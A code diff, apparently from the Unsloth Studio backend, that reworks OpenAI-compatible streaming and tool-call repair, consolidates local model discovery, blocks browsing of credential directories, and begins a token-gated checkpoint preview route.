+                        _truncate_budget -= 1
+                        req = client.build_request(
+                            "POST", target_url, json = body, headers = {"Connection": "close"}
+                        )
+                        first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S
+                        send_task = asyncio.create_task(
+                            _send_stream_with_preheader_cancel(
+                                client, req, cancel_event, request = request
+                            )
+                        )
+                        continue
+
+                    upstream_error = _openai_passthrough_error(upstream_status, err_text)
+                    error_payload = (
+                        upstream_error.detail
+                        if isinstance(upstream_error.detail, dict)
+                        else openai_error_body(
+                            str(upstream_error.detail),
+                            status = upstream_status,
+                        )
+                    )
+                    api_monitor.fail(monitor_id, err_text[:500])
+                    yield f"data: {json.dumps(error_payload)}\n\n"
+                    return
+
+                cancel_watcher = asyncio.create_task(_await_cancel_then_close(cancel_event, resp))
+                disconnect_watcher = asyncio.create_task(
+                    _await_disconnect_then_close(request, resp, cancel_event)
+                )
                 lines_iter = resp.aiter_lines()
                 async for raw_line in _aiter_llama_stream_items(
                     lines_iter,
@@ -9251,23 +11968,151 @@ async def _openai_passthrough_stream(
                         continue
                     if not raw_line.startswith("data: "):
                         continue
+                    data_text = raw_line[6:].strip()
+                    if data_text == "[DONE]":
+                        saw_done = True
+                        # Upstream ended without a finish chunk: heal the residue
+                        # first so the synthetic finish sees healer.healed.
+                        if healer is not None and not saw_stream_error:
+                            for held_line in _healer_sse_lines(healer.finalize()):
+                                _monitor_openai_sse_line(
+                                    monitor_id, held_line, llama_backend.context_length
+                                )
+                                yield held_line + "\n\n"
+                        if (
+                            not saw_finish_reason
+                            and not saw_stream_error
+                            and not cancel_event.is_set()
+                        ):
+                            finish_line = _synthetic_finish_line()
+                            _monitor_openai_sse_line(
+                                monitor_id,
+                                finish_line,
+                                llama_backend.context_length,
+                            )
+                            yield finish_line + "\n\n"
+                            saw_finish_reason = True
+                        _monitor_openai_sse_line(
+                            monitor_id,
+                            raw_line,
+                            llama_backend.context_length,
+                        )
+                        yield raw_line + "\n\n"
+                        monitor_done = True
+                        break
                     # Honor parallel_tool_calls=false (best-effort): drop tool_call
                     # deltas with index>=1 so only the first call streams. Only
                     # lines carrying tool_calls are reparsed; everything else is
                     # relayed byte-for-byte.
                     if payload.parallel_tool_calls is False and '"tool_calls"' in raw_line:
                         raw_line = _cap_parallel_tool_calls_sse_line(raw_line)
-                    monitor_event = _monitor_openai_sse_line(
+                        data_text = raw_line[6:].strip()
+                    try:
+                        chunk_data = json.loads(data_text)
+                    except json.JSONDecodeError:
+                        chunk_data = None
+                    if isinstance(chunk_data, dict):
+                        if isinstance(chunk_data.get("id"), str):
+                            last_chunk_id = chunk_data["id"]
+                        if isinstance(chunk_data.get("model"), str):
+                            last_chunk_model = chunk_data["model"]
+                        if isinstance(chunk_data.get("created"), int):
+                            last_chunk_created = chunk_data["created"]
+                        choices = chunk_data.get("choices")
+                        if isinstance(choices, list) and choices:
+                            choice = choices[0]
+                            if isinstance(choice, dict):
+                                if choice.get("finish_reason"):
+                                    saw_finish_reason = True
+                                delta = choice.get("delta")
+                                if isinstance(delta, dict) and delta.get("tool_calls"):
+                                    saw_tool_call_delta = True
+                        # Detect an error chunk independently of API monitoring
+                        # (skip_api_monitor returns early), else the synthetic
+                        # finish would fire after a failed stream.
+                        if _monitor_openai_error_message(chunk_data):
+                            saw_stream_error = True
+                    # With healing active, a content-bearing line may be replaced by
+                    # held/promoted chunks; otherwise the single upstream line
+                    # relays verbatim (monitored exactly as emitted either way).
+                    if (
+                        healer is not None
+                        and not healer.dormant
+                        and isinstance(chunk_data, dict)
+                        and not saw_stream_error
+                    ):
+                        out_lines = _heal_transform(chunk_data, raw_line)
+                    else:
+                        out_lines = [raw_line]
+                    # If a trailing usage-only chunk (include_usage) arrives before
+                    # any finish chunk, emit the synthetic finish first so the order
+                    # stays finish -> usage -> [DONE], matching the other streams.
+                    if (
+                        isinstance(chunk_data, dict)
+                        and chunk_data.get("usage")
+                        and not (
+                            isinstance(chunk_data.get("choices"), list) and chunk_data["choices"]
+                        )
+                        and not saw_finish_reason
+                        and not saw_stream_error
+                        and not cancel_event.is_set()
+                    ):
+                        if healer is not None:
+                            # Residue must precede the finish it may upgrade.
+                            held = _healer_sse_lines(healer.finalize())
+                            for held_line in held:
+                                _monitor_openai_sse_line(
+                                    monitor_id, held_line, llama_backend.context_length
+                                )
+                                yield held_line + "\n\n"
+                        finish_line = _synthetic_finish_line()
+                        _monitor_openai_sse_line(
+                            monitor_id, finish_line, llama_backend.context_length
+                        )
+                        yield finish_line + "\n\n"
+                        saw_finish_reason = True
+                    for out_line in out_lines:
+                        monitor_event = _monitor_openai_sse_line(
+                            monitor_id,
+                            out_line,
+                            llama_backend.context_length,
+                        )
+                        if monitor_event == "error":
+                            saw_stream_error = True
+                        # Relay to preserve llama-server's native id,
+                        # finish_reason, delta.tool_calls, and usage chunks.
+                        yield out_line + "\n\n"
+                        if monitor_event == "done":
+                            monitor_done = True
+                    if monitor_done:
+                        break
+                if not saw_done and not saw_stream_error and not cancel_event.is_set():
+                    # Synthesize a finish chunk only if one was not already
+                    # emitted (e.g. before a trailing usage-only chunk), but
+                    # always close with [DONE] whenever the upstream omitted it,
+                    # so the stream ends on the [DONE] sentinel either way.
+                    if healer is not None:
+                        for held_line in _healer_sse_lines(healer.finalize()):
+                            _monitor_openai_sse_line(
+                                monitor_id, held_line, llama_backend.context_length
+                            )
+                            yield held_line + "\n\n"
+                    if not saw_finish_reason:
+                        finish_line = _synthetic_finish_line()
+                        _monitor_openai_sse_line(
+                            monitor_id,
+                            finish_line,
+                            llama_backend.context_length,
+                        )
+                        yield finish_line + "\n\n"
+                    done_line = "data: [DONE]"
+                    _monitor_openai_sse_line(
                         monitor_id,
-                        raw_line,
+                        done_line,
                         llama_backend.context_length,
                     )
-                    # Relay verbatim to preserve llama-server's native id,
-                    # finish_reason, delta.tool_calls, and usage chunks.
-                    yield raw_line + "\n\n"
-                    if monitor_event == "done" or raw_line[6:].strip() == "[DONE]":
-                        monitor_done = True
-                        break
+                    yield done_line + "\n\n"
+                    monitor_done = True
                 if not monitor_done:
                     api_monitor.finish(
                         monitor_id,
@@ -9295,6 +12140,7 @@ async def _openai_passthrough_stream(
                 err = _openai_stream_error_chunk(e)
                 yield f"data: {json.dumps(err)}\n\n"
             finally:
+                await _aclose_send_task(send_task)
                 await _aclose_stream_resources(
                     watchers = (cancel_watcher, disconnect_watcher),
                     iterator = lines_iter,
@@ -9303,8 +12149,28 @@ async def _openai_passthrough_stream(
                 )
                 _tracker.__exit__(None, None, None)
 
-        return _sse_streaming_response(_stream())
+        async def _unstarted_cleanup() -> None:
+            # Client disconnected before the body stream started, so _stream()'s
+            # finally never ran. Release the eagerly-opened upstream resp/client
+            # and the cancel-registry entry here; the watchers and line iterator
+            # are created inside _stream(), so there is nothing else to close.
+            await _aclose_send_task(send_task)
+            await _aclose_stream_resources(resp = resp, client = client)
+            _tracker.__exit__(None, None, None)
+
+        return _SameTaskStreamingResponse(
+            _stream(),
+            media_type = "text/event-stream",
+            headers = {
+                "Cache-Control": "no-cache",
+                "Connection": "close",
+                "X-Accel-Buffering": "no",
+            },
+            unstarted_cleanup = _unstarted_cleanup,
+        )
     except BaseException:
+        await _aclose_send_task(send_task)
+        await _aclose_stream_resources(resp = resp, client = client)
         _tracker.__exit__(None, None, None)
         raise
 
@@ -9373,6 +12239,9 @@ async def _openai_passthrough_non_streaming(
     _guided_fence = bool((payload.model_extra or {}).get("_unsloth_guided_fence"))
     _do_fence = _guided_fence and _extract_response_format(payload) is not None
     _cap_parallel = payload.parallel_tool_calls is False
+    _allowed_tools = heal_gate(
+        payload.auto_heal_tool_calls, body.get("tools"), body.get("tool_choice")
+    )
 
     try:
         data = resp.json()
@@ -9385,6 +12254,33 @@ async def _openai_passthrough_non_streaming(
         api_monitor.finish(monitor_id)
         return Response(content = resp.content, media_type = "application/json")
 
+    # Opt-in single-retry nudge: the model clearly tried to call a tool (signal
+    # present) but nothing parseable/declared came out, so re-ask once with the
+    # original prompt prefix intact (llama-server reuses the slot's KV cache)
+    # plus a two-message nudge suffix. The retry replaces the original response
+    # only when it actually yields a usable call.
+    if (
+        _allowed_tools
+        and nudge_enabled(payload.nudge_tool_calls)
+        and nudge_should_retry(data, _allowed_tools, body.get("tools"))
+    ):
+        retry_body = {
+            **body,
+            "messages": [*body.get("messages", []), *nudge_messages(data, _allowed_tools)],
+        }
+        try:
+            retry_resp = await nonstreaming_client().post(
+                target_url,
+                json = retry_body,
+                timeout = _llama_non_streaming_generation_timeout(),
+            )
+            if retry_resp.status_code == 200:
+                retry_data = retry_resp.json()
+                if response_has_promotable_calls(retry_data, _allowed_tools, body.get("tools")):
+                    resp, data = retry_resp, retry_data
+        except (httpx.RequestError, ValueError) as exc:
+            logger.warning("tool-call nudge retry failed; keeping original: %s", exc)
+
     changed = False
     for choice in data.get("choices", []):
         if not isinstance(choice, dict):
@@ -9393,6 +12289,17 @@ async def _openai_passthrough_non_streaming(
         if not isinstance(msg, dict):
             continue
 
+        # Small models emit tool calls as text instead of structured tool_calls;
+        # promote them (declared client tools only) so the agent sees a real call.
+        # Truncation wins over the upgrade (same rule as the streaming and
+        # Anthropic paths): a call cut off at max_tokens keeps
+        # finish_reason="length" so the client knows the arguments may be
+        # incomplete, while the healed call itself stays attached.
+        if _allowed_tools and heal_openai_message(msg, _allowed_tools, body.get("tools")):
+            if choice.get("finish_reason") == "stop":
+                choice["finish_reason"] = "tool_calls"
+            changed = True
+
         # OpenAI requires content=null on a pure tool-call turn; llama-server
         # emits content="".
         if msg.get("tool_calls") and msg.get("content") == "":
diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py
index 951c2960f3..c23ab1d428 100644
--- a/studio/backend/routes/models.py
+++ b/studio/backend/routes/models.py
@@ -7,11 +7,13 @@ import asyncio
 import hashlib
 import json
 import os
+import re
 import shutil
 import sys
 import uuid
 from pathlib import Path
 from fastapi import APIRouter, Body, Depends, Header, HTTPException, Query
+from pydantic import BaseModel
 from typing import List, Optional
 import structlog
 from loggers import get_logger
@@ -22,10 +24,27 @@ import re as _re
 _VALID_REPO_ID = _re.compile(r"^[A-Za-z0-9._-]+/[A-Za-z0-9._-]+$")
 
 
+class CachedModelRepo(BaseModel):
+    repo_id: str
+    size_bytes: int
+    last_modified: Optional[float] = None
+
+
+class CachedModelsResponse(BaseModel):
+    cached: List[CachedModelRepo]
+
+
 def _is_valid_repo_id(repo_id: str) -> bool:
     return bool(_VALID_REPO_ID.fullmatch(repo_id))
 
 
+def _normalize_hf_token(hf_token) -> Optional[str]:
+    if not isinstance(hf_token, str):
+        return None
+    token = hf_token.strip()
+    return token or None
+
+
 def _safe_is_dir(path) -> bool:
     """``Path.is_dir()`` returning ``False`` instead of raising.
 
@@ -40,25 +59,51 @@ def _safe_is_dir(path) -> bool:
         return False
 
 
+# Hub repo id shape ("owner/name", no leading separator); anything else is
+# treated as a local filesystem path.
+_HF_REPO_ID_RE = re.compile(r"^[A-Za-z0-9][\w.\-]*/[\w.\-]+$")
+
+
 def _is_hidden_model(*values: str | None) -> bool:
     """True if any id/path is the RAG embedding model (EMBEDDING_MODEL or
     EMBED_GGUF_REPO basename) or the llama.cpp install validation probe
     (ggml-org/models / stories260K), so pickers hide them (GGUF and non-GGUF).
     None are usable chat models; the probe can be cached as a side effect of
     installing the prebuilt llama-server and otherwise sorts smallest, so it
-    would be auto-selected."""
+    would be auto-selected. A local-path embedder is matched by exact resolved
+    path only: a generic basename like "model" must not substring-hide
+    unrelated chat models."""
     from core.rag import config as rag_config
 
-    needles = (
-        rag_config.EMBEDDING_MODEL.split("/")[-1].lower(),
-        rag_config.EMBED_GGUF_REPO.split("/")[-1].lower(),
+    needles = [
         # The validation probe's repo (matches the cached repo id) and its exact
         # filename (matches the on-disk path). The filename carries the .gguf so
         # it does not hide unrelated repos like ``user/stories260K-finetune-GGUF``.
         "ggml-org/models",
         "stories260k.gguf",
-    )
-    return any(v and any(n in v.lower() for n in needles) for v in values)
+    ]
+    exact_paths: list[str] = []
+    for model in (
+        rag_config.effective_embedding_model(),
+        rag_config.effective_gguf_repo(),
+    ):
+        if _HF_REPO_ID_RE.match(model):
+            needles.append(model.split("/")[-1].lower())
+        else:
+            resolved = _safe_resolve(Path(model).expanduser())
+            if resolved:
+                exact_paths.append(resolved.lower())
+    for v in values:
+        if not v:
+            continue
+        low = v.lower()
+        if any(n in low for n in needles):
+            return True
+        if exact_paths:
+            resolved = _safe_resolve(Path(v).expanduser())
+            if resolved and resolved.lower() in exact_paths:
+                return True
+    return False
 
 
 def _safe_resolve(path: Path) -> Optional[str]:
@@ -74,6 +119,7 @@ if str(backend_path) not in sys.path:
     sys.path.insert(0, str(backend_path))
 
 from auth.authentication import get_current_subject
+from hub.dependencies import get_hf_token
 
 try:
     from utils.models import (
@@ -722,6 +768,94 @@ def _scan_ollama_dir(ollama_dir: Path, limit: Optional[int] = None) -> List[Loca
     return found
 
 
+def collect_local_models(models_root: Path) -> List[LocalModelInfo]:
+    """Scan ``models_root``, the HF caches, LM Studio dirs, and user scan folders,
+    returning a deduplicated, hidden-filtered list of discovered local models.
+
+    Shared by ``GET /models/local`` (the model picker) and the OpenAI-compatible
+    catalog (``GET /v1/models``) so the UI and the API never drift. ``models_root``
+    must already be validated/trusted by the caller.
+    """
+    from storage.studio_db import list_scan_folders
+    from utils.paths import (
+        hf_default_cache_dir,
+        legacy_hf_cache_dir,
+        lmstudio_model_dirs,
+    )
+
+    hf_cache_dir = _resolve_hf_cache_dir()
+    legacy_hf = legacy_hf_cache_dir()
+    hf_default = hf_default_cache_dir()
+    lm_dirs = lmstudio_model_dirs()
+
+    local_models = _scan_models_dir(models_root) + _scan_hf_cache(hf_cache_dir)
+
+    # Resolve once; an inaccessible aux cache must skip that scan, not 500.
+    hf_cache_real = _safe_resolve(hf_cache_dir)
+    legacy_real = _safe_resolve(legacy_hf)
+    default_real = _safe_resolve(hf_default)
+
+    # Scan legacy Unsloth HF cache for backward compatibility.
+    if _safe_is_dir(legacy_hf) and legacy_real != hf_cache_real:
+        local_models += _scan_hf_cache(legacy_hf)
+
+    # Scan HF system default cache (may differ under env overrides).
+    if _safe_is_dir(hf_default) and default_real != hf_cache_real and default_real != legacy_real:
+        local_models += _scan_hf_cache(hf_default)
+
+    # Scan LM Studio directories.
+    for lm_dir in lm_dirs:
+        local_models += _scan_lmstudio_dir(lm_dir)
+
+    # Scan user-added custom folders (per-folder cap).
+    _MAX_MODELS_PER_FOLDER = 200
+    try:
+        custom_folders = list_scan_folders()
+    except Exception as e:
+        logger.warning("Could not load custom scan folders: %s", e)
+        custom_folders = []
+    for folder in custom_folders:
+        folder_path = Path(folder["path"])
+        try:
+            # Filter Ollama .studio_links/ from generic scanners to
+            # avoid duplicates and leaking internal paths into the UI.
+            _generic = [
+                m
+                for m in (
+                    _scan_models_dir(folder_path, limit = _MAX_MODELS_PER_FOLDER)
+                    + _scan_hf_cache(folder_path)
+                    + _scan_lmstudio_dir(folder_path)
+                )
+                if not any(p in (".studio_links", "ollama_links") for p in Path(m.path).parts)
+            ]
+            custom_models = _generic
+            if len(custom_models) < _MAX_MODELS_PER_FOLDER:
+                custom_models += _scan_ollama_dir(
+                    folder_path,
+                    limit = _MAX_MODELS_PER_FOLDER - len(custom_models),
+                )
+        except OSError as e:
+            logger.warning("Skipping unreadable scan folder %s: %s", folder_path, e)
+            continue
+        local_models += [m.model_copy(update = {"source": "custom"}) for m in custom_models]
+
+    # Deduplicate, but always keep custom folder entries (keyed by
+    # (id, source)) so they show in the "Custom Folders" UI section
+    # even when the model is also in the HF cache.
+    deduped: dict[str, LocalModelInfo] = {}
+    for model in local_models:
+        key = f"{model.id}\x00custom" if model.source == "custom" else model.id
+        if key not in deduped:
+            deduped[key] = model
+
+    models = sorted(
+        deduped.values(),
+        key = lambda item: (item.updated_at or 0),
+        reverse = True,
+    )
+    return [m for m in models if not _is_hidden_model(m.id, m.path)]
+
+
 @router.get("/local", response_model = LocalModelListResponse)
 async def list_local_models(
     models_dir: str = Query(
@@ -770,78 +904,7 @@ async def list_local_models(
         )
 
     try:
-        local_models = _scan_models_dir(models_root) + _scan_hf_cache(hf_cache_dir)
-
-        # Resolve once; an inaccessible aux cache must skip that scan, not 500.
-        hf_cache_real = _safe_resolve(hf_cache_dir)
-        legacy_real = _safe_resolve(legacy_hf)
-        default_real = _safe_resolve(hf_default)
-
-        # Scan legacy Unsloth HF cache for backward compatibility.
-        if _safe_is_dir(legacy_hf) and legacy_real != hf_cache_real:
-            local_models += _scan_hf_cache(legacy_hf)
-
-        # Scan HF system default cache (may differ under env overrides).
-        if (
-            _safe_is_dir(hf_default)
-            and default_real != hf_cache_real
-            and default_real != legacy_real
-        ):
-            local_models += _scan_hf_cache(hf_default)
-
-        # Scan LM Studio directories.
-        for lm_dir in lm_dirs:
-            local_models += _scan_lmstudio_dir(lm_dir)
-
-        # Scan user-added custom folders (per-folder cap).
-        from storage.studio_db import list_scan_folders
-
-        _MAX_MODELS_PER_FOLDER = 200
-        try:
-            custom_folders = list_scan_folders()
-        except Exception as e:
-            logger.warning("Could not load custom scan folders: %s", e)
-            custom_folders = []
-        for folder in custom_folders:
-            folder_path = Path(folder["path"])
-            try:
-                # Filter Ollama .studio_links/ from generic scanners to
-                # avoid duplicates and leaking internal paths into the UI.
-                _generic = [
-                    m
-                    for m in (
-                        _scan_models_dir(folder_path, limit = _MAX_MODELS_PER_FOLDER)
-                        + _scan_hf_cache(folder_path)
-                        + _scan_lmstudio_dir(folder_path)
-                    )
-                    if not any(p in (".studio_links", "ollama_links") for p in Path(m.path).parts)
-                ]
-                custom_models = _generic
-                if len(custom_models) < _MAX_MODELS_PER_FOLDER:
-                    custom_models += _scan_ollama_dir(
-                        folder_path,
-                        limit = _MAX_MODELS_PER_FOLDER - len(custom_models),
-                    )
-            except OSError as e:
-                logger.warning("Skipping unreadable scan folder %s: %s", folder_path, e)
-                continue
-            local_models += [m.model_copy(update = {"source": "custom"}) for m in custom_models]
-
-        # Deduplicate, but always keep custom folder entries (keyed by
-        # (id, source)) so they show in the "Custom Folders" UI section
-        # even when the model is also in the HF cache.
-        deduped: dict[str, LocalModelInfo] = {}
-        for model in local_models:
-            key = f"{model.id}\x00custom" if model.source == "custom" else model.id
-            if key not in deduped:
-                deduped[key] = model
-
-        models = sorted(
-            deduped.values(),
-            key = lambda item: (item.updated_at or 0),
-            reverse = True,
-        )
-        models = [m for m in models if not _is_hidden_model(m.id, m.path)]
+        models = collect_local_models(models_root)
 
         return LocalModelListResponse(
             models_dir = str(models_root),
@@ -1139,6 +1202,7 @@ def _build_browse_allowlist() -> list[Path]:
         legacy_hf_cache_dir,
         well_known_model_dirs,
     )
+    from utils.paths.external_media import linux_run_media_mount_roots
     from storage.studio_db import list_scan_folders
 
     candidates: list[Path] = []
@@ -1154,6 +1218,8 @@ def _build_browse_allowlist() -> list[Path]:
             candidates.append(resolved)
 
     _add(Path.home())
+    for p in linux_run_media_mount_roots():
+        _add(p)
     _add(_resolve_hf_cache_dir())
     try:
         _add(hf_default_cache_dir())
@@ -1273,6 +1339,8 @@ def _match_browse_child(current: Path, name: str) -> Optional[Path]:
 
 def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Path:
     """Resolve a requested browse path by walking from trusted allowlist roots."""
+    from storage.studio_db import contains_sensitive_path_component
+
     requested_path = _normalize_browse_request_path(path)
     resolved_roots: list[Path] = []
     seen_roots: set[str] = set()
@@ -1323,8 +1391,18 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa
                         "under your home folder."
                     ),
                 )
+            if contains_sensitive_path_component(str(resolved_child)):
+                raise HTTPException(
+                    status_code = 403,
+                    detail = "Credential or configuration directories are not browseable.",
+                )
             current = resolved_child
 
+        if contains_sensitive_path_component(str(current)):
+            raise HTTPException(
+                status_code = 403,
+                detail = "Credential or configuration directories are not browseable.",
+            )
         if not current.is_dir():
             raise HTTPException(
                 status_code = 400,
@@ -1372,7 +1450,8 @@ async def browse_folders(
     then hidden (if ``show_hidden=true``).
     """
     from utils.paths import hf_default_cache_dir, well_known_model_dirs
-    from storage.studio_db import list_scan_folders
+    from utils.paths.external_media import linux_run_media_mount_roots
+    from storage.studio_db import contains_sensitive_path_component, list_scan_folders
 
     # Build once; the sandbox check and suggestion chips share it.
     allowed_roots = _build_browse_allowlist()
@@ -1425,6 +1504,8 @@ async def browse_folders(
             is_hidden = name.startswith(".")
             if is_hidden and not show_hidden:
                 continue
+            if contains_sensitive_path_component(name):
+                continue
             entries.append(
                 BrowseEntry(
                     name = name,
@@ -1478,6 +1559,8 @@ async def browse_folders(
 
     # Home first -- the safe fallback when everything else is cold.
     _add_sug(Path.home())
+    for p in linux_run_media_mount_roots():
+        _add_sug(p)
     # The HF cache root the process is actually using.
     try:
         _add_sug(hf_default_cache_dir())
@@ -2577,109 +2660,41 @@ async def get_gguf_variants(
         ..., description = "HuggingFace repo ID (e.g. 'unsloth/gemma-3-4b-it-GGUF')"
     ),
     hf_token: Optional[str] = Query(None, description = "HuggingFace token for private repos"),
+    hf_token_header: Optional[str] = Depends(get_hf_token),
     current_subject: str = Depends(get_current_subject),
 ):
-    """List GGUF quantization variants for a HF repo or local directory.
-
-    Returns all variants with file sizes, vision support, and the
-    recommended default.
-    """
+    """List GGUF quantization variants for a HF repo or local directory."""
     try:
-        from utils.models.model_config import is_local_path, list_local_gguf_variants
+        hf_token = _normalize_hf_token(hf_token_header) or _normalize_hf_token(hf_token)
+        from hub.services.models import gguf_variants as hub_gguf_variants
 
-        # Local directory path — scan filesystem.
-        if is_local_path(repo_id):
-            variants, has_vision = list_local_gguf_variants(repo_id)
-
-            filenames = [v.filename for v in variants]
-            best = _pick_best_gguf(filenames)
-            default_variant = _extract_quant_label(best) if best else None
-
-            return GgufVariantsResponse(
-                repo_id = repo_id,
-                variants = [
-                    GgufVariantDetail(
-                        filename = v.filename,
-                        quant = v.quant,
-                        size_bytes = v.size_bytes,
-                        downloaded = True,  # all local variants are downloaded
-                    )
-                    for v in variants
-                ],
-                has_vision = has_vision,
-                default_variant = default_variant,
-                context_length = _read_native_context_length(repo_id, is_local = True),
-            )
-
-        # Remote HuggingFace repo — query HF API.
-        variants, has_vision = list_gguf_variants(repo_id, hf_token = hf_token)
-
-        filenames = [v.filename for v in variants]
-        best = _pick_best_gguf(filenames)
-        default_variant = _extract_quant_label(best) if best else None
-
-        # Per-snapshot so a split GGUF's shards must all sit in one snapshot;
-        # mmproj adapters are excluded so they can't inflate a quant's bytes.
-        cached_bytes_by_quant_per_snapshot: list[dict[str, int]] = []
-        try:
-            from huggingface_hub import constants as hf_constants
-
-            if not _is_valid_repo_id(repo_id):
-                raise ValueError(f"Invalid repo_id format: {repo_id}")
-
-            cache_dir = Path(hf_constants.HF_HUB_CACHE)
-            target = f"models--{repo_id.replace('/', '--')}".lower()
-            for entry in cache_dir.iterdir():
-                if entry.name.lower() == target:
-                    snapshots = entry / "snapshots"
-                    if snapshots.is_dir():
-                        for snap in snapshots.iterdir():
-                            by_quant: dict[str, int] = {}
-                            for f in _iter_gguf_paths(snap):
-                                if _is_mmproj_filename(f.name):
-                                    continue
-                                try:
-                                    size = f.stat().st_size
-                                except OSError:
-                                    continue  # broken symlink / unreadable: skip
-                                rel = f.relative_to(snap).as_posix()
-                                q = _extract_quant_label(rel)
-                                if _is_big_endian_gguf_path(rel, q):
-                                    continue
-                                q = q.lower()
-                                by_quant[q] = by_quant.get(q, 0) + size
-                            if by_quant:
-                                cached_bytes_by_quant_per_snapshot.append(by_quant)
-                    break
-        except Exception:
-            pass
-
-        def _is_fully_downloaded(variant) -> bool:
-            if variant.size_bytes == 0:
-                return False
-            # Complete within one snapshot (tolerance for symlink size jitter).
-            quant = variant.quant.lower()
-            return any(
-                by_quant.get(quant, 0) >= variant.size_bytes * 0.99
-                for by_quant in cached_bytes_by_quant_per_snapshot
-            )
+        response = await hub_gguf_variants.get_gguf_variants_response(
+            repo_id,
+            hf_token = hf_token,
+        )
+        local = is_local_path(repo_id)
 
         return GgufVariantsResponse(
-            repo_id = repo_id,
+            repo_id = response.repo_id,
             variants = [
                 GgufVariantDetail(
                     filename = v.filename,
                     quant = v.quant,
                     size_bytes = v.size_bytes,
-                    downloaded = _is_fully_downloaded(v),
+                    download_size_bytes = int(
+                        getattr(v, "download_size_bytes", v.size_bytes) or v.size_bytes
+                    ),
+                    downloaded = bool(v.downloaded),
+                    update_available = bool(getattr(v, "update_available", False)),
                 )
-                for v in variants
+                for v in response.variants
             ],
-            has_vision = has_vision,
-            default_variant = default_variant,
-            context_length = _read_native_context_length(repo_id, is_local = False),
+            has_vision = response.has_vision,
+            default_variant = response.default_variant,
+            context_length = _read_native_context_length(repo_id, is_local = local),
         )
-
+    except HTTPException:
+        raise
     except Exception as e:
         logger.error(f"Error listing GGUF variants for '{repo_id}': {e}", exc_info = True)
         raise HTTPException(
@@ -3106,10 +3121,14 @@ async def list_cached_gguf(current_subject: str = Depends(get_current_subject)):
         return {"cached": []}
 
 
-@router.get("/cached-models")
-async def list_cached_models(current_subject: str = Depends(get_current_subject)):
+@router.get("/cached-models", response_model = CachedModelsResponse)
+async def list_cached_models(
+    current_subject: str = Depends(get_current_subject),
+    hf_token: Optional[str] = Depends(get_hf_token),
+):
     """List non-GGUF model repos downloaded to HF cache, legacy Unsloth cache, and HF default cache."""
     _WEIGHT_EXTENSIONS = (".safetensors", ".bin")
+    hf_token = _normalize_hf_token(hf_token)
 
     try:
         cache_scans = _all_hf_cache_scans()
@@ -3130,20 +3149,16 @@ async def list_cached_models(current_subject: str = Depends(get_current_subject)
                     )
                     if total_size == 0:
                         continue
-                    has_weights = any(
-                        f.file_name.endswith(_WEIGHT_EXTENSIONS)
+                    weight_files = [
+                        f
                         for rev in repo_info.revisions
                         for f in rev.files
-                    )
-                    if not has_weights:
+                        if f.file_name.endswith(_WEIGHT_EXTENSIONS)
+                    ]
+                    if not weight_files:
                         continue
                     last_modified = max(
-                        (
-                            _blob_mtime(f)
-                            for rev in repo_info.revisions
-                            for f in rev.files
-                            if f.file_name.endswith(_WEIGHT_EXTENSIONS)
-                        ),
+                        (_blob_mtime(f) for f in weight_files),
                         default = 0.0,
                     )
                     key = repo_id.lower()
@@ -3165,9 +3180,12 @@ async def list_cached_models(current_subject: str = Depends(get_current_subject)
                     repo_label = getattr(repo_info, "repo_id", "<unknown>")
                     logger.warning(f"Skipping cached model repo {repo_label}: {e}")
                     continue
-        # Newest download first; stable repo_id tie-break for equal/missing mtimes.
+
+        rows = list(seen_lower.values())
+        # Local-only list path: update checks are GGUF-only and happen lazily
+        # when a repo's variants are viewed.
         cached = sorted(
-            seen_lower.values(),
+            rows,
             key = lambda c: (-(c.get("last_modified") or 0.0), c["repo_id"].lower()),
         )
         return {"cached": cached}
diff --git a/studio/backend/routes/preview.py b/studio/backend/routes/preview.py
new file mode 100644
index 0000000000..5acf039401
--- /dev/null
+++ b/studio/backend/routes/preview.py
@@ -0,0 +1,303 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Per-checkpoint preview endpoints: /p/{run}[/{checkpoint}]/v1/..."""
+
+from __future__ import annotations
+
+import asyncio
+import html
+from pathlib import Path
+from urllib.parse import quote
+
+from fastapi import APIRouter, Depends, HTTPException, Request
+from fastapi.responses import FileResponse, HTMLResponse, StreamingResponse
+from loggers import get_logger
+
+from auth.authentication import get_current_subject
+from auth.storage import DEFAULT_ADMIN_USERNAME
+from models.inference import ChatCompletionRequest, LoadRequest
+from routes.inference import (
+    disable_openai_auto_switch_for_request,
+    load_model,
+    openai_chat_completions,
+)
+from state.tool_policy import tools_force_disabled
+from utils.client_ip import client_ip
+from utils.models.checkpoints import list_preview_targets, resolve_preview_checkpoint
+from utils.preview_rate_limit import check_rate_limit
+from utils.preview_sharing_settings import get_preview_sharing_enabled
+from utils.preview_token import sign_preview_ref, verify_preview_ref
+
+logger = get_logger(__name__)
+
+router = APIRouter()
+
+# A shared preview link is a public bearer capability; cap per-request generation
+# so a single call can't tie up the (serialized) preview GPU indefinitely.
+_PREVIEW_MAX_OUTPUT_TOKENS = 1024
+
+# Capability-gated (signed ref required); resolve_preview_checkpoint pins `run`
+# under outputs_root. One model loads at a time, so serialize load+generate.
+_preview_lock = asyncio.Lock()
+
+
+def _extract_token(request: Request) -> str | None:
+    """Capability token from the ``?k=`` query (browser link + preview page) or an
+    ``Authorization: Bearer`` header (OpenAI-compatible clients using it as api_key)."""
+    token = request.query_params.get("k")
+    if token:
+        return token
+    header = request.headers.get("authorization", "")
+    if header[:7].lower() == "bearer ":
+        return header[7:].strip() or None
+    return None
+
+
+def _verify_or_404(run: str, checkpoint: str | None, request: Request) -> None:
+    """Require a valid preview capability BEFORE any checkpoint resolve / model load.
+
+    Missing or invalid tokens get a generic 404 -- identical to a non-existent ref --
+    so the public surface never confirms whether a run/checkpoint exists. When an
+    admin has switched public sharing off, every public request 404s regardless of
+    token.
+
+    Verify the (cheap, no-I/O) capability first: an unauthenticated caller with a
+    bad/missing token is rejected without the kill-switch DB read, so spamming
+    ``/p/...`` can't be used as an unbounded settings-DB sink, and the response is
+    identical whether or not sharing is enabled (no on/off oracle).
+    """
+    ref = run if not checkpoint else f"{run}/{checkpoint}"
+    if not verify_preview_ref(ref, _extract_token(request)):
+        raise HTTPException(status_code = 404, detail = "Not found")
+    if not get_preview_sharing_enabled():
+        raise HTTPException(status_code = 404, detail = "Not found")
+
+
+def _enforce_rate_limit(request: Request) -> None:
